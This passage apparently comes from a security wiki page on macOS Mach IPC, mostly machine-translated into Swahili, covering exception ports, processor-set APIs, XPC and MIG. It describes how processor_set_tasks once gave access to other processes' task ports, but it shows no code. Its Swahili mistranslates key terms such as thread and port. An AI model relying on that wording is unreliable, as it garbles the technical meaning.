Wakati kuna kipekee kinachotokea katika mjadala, kipekee hiki hutumwa kwa bandari ya kipekee iliyoteuliwa ya mjadala. Ikiwa mjadala hauishughulikii, basi hutumwa kwa bandari za kipekee za kazi. Ikiwa kazi haitashughulikii, basi hutumwa kwa bandari ya mwenyeji ambayo inasimamiwa na launchd (ambapo itathibitishwa). Hii inaitwa triage ya kipekee.
Tafadhali elewa kuwa mwishowe kawaida ikiwa haishughuliki ipasavyo ripoti itamalizikia kushughulikiwa na daemon wa ReportCrash. Walakini, ni rahisi kwa mjadala mwingine katika kazi hiyo kushughulikia kipekee, hii ndio ambayo zana za kuripoti ajali kama vile PLCrashReporter hufanya.
Vitu Vingine
Saa
Mtumiaji yeyote anaweza kupata habari kuhusu saa hata hivyo ili kuweza kuweka wakati au kurekebisha mipangilio mingine mtu lazima awe na ruhusa ya msingi.
Ili kupata habari ni rahisi kuita kazi kutoka kwa mfumo wa saa kama vile: clock_get_time, clock_get_attributtes au clock_alarm
Ili kurekebisha thamani, mfumo wa clock_priv unaweza kutumika na kazi kama vile clock_set_time na clock_set_attributes
Processors na Processor Set
Viambatisho vya processor vinaruhusu kudhibiti processor moja ya mantiki kwa kuita kazi kama vile processor_start, processor_exit, processor_info, processor_get_assignment...
Zaidi ya hayo, viambatisho vya processor set hutoa njia ya kundi la viambatisho vingi katika kikundi. Ni rahisi kupata seti ya processor ya msingi kwa kuita processor_set_default.
Hizi ni baadhi ya APIs za kuvutia za kuingiliana na seti ya processor:
processor_set_statisticsprocessor_set_tasks: Rudi safu ya haki za kutuma kwa kila kazi ndani ya seti ya processorprocessor_set_threads: Rudi safu ya haki za kutuma kwa kila mjadala ndani ya seti ya processorprocessor_set_stack_usageprocessor_set_info
Kama ilivyotajwa katika chapisho hili, hapo awali hii iliruhusu kuzidi kinga iliyotajwa hapo awali ili kupata bandari za kazi katika michakato mingine kuwadhibiti kwa kuita processor_set_tasks na kupata bandari ya mwenyeji kwenye kila mchakato.
Leo unahitaji ruhusa ya msingi kutumia kazi hiyo na hii imekingwa hivyo utaweza kupata bandari hizi kwenye michakato isiyolindwa.
Unaweza kujaribu na:
XPC
Basic Information
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for communication between processes on macOS and iOS. XPC provides a mechanism for making safe, asynchronous method calls between different processes on the system. It's a part of Apple's security paradigm, allowing for the creation of privilege-separated applications where each component runs with only the permissions it needs to do its job, thereby limiting the potential damage from a compromised process.
For more information about how this communication work on how it could be vulnerable check:
MIG - Mach Interface Generator
MIG was created to simplify the process of Mach IPC code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
MIC basically generates the needed code for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
For more info check:
References
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Last updated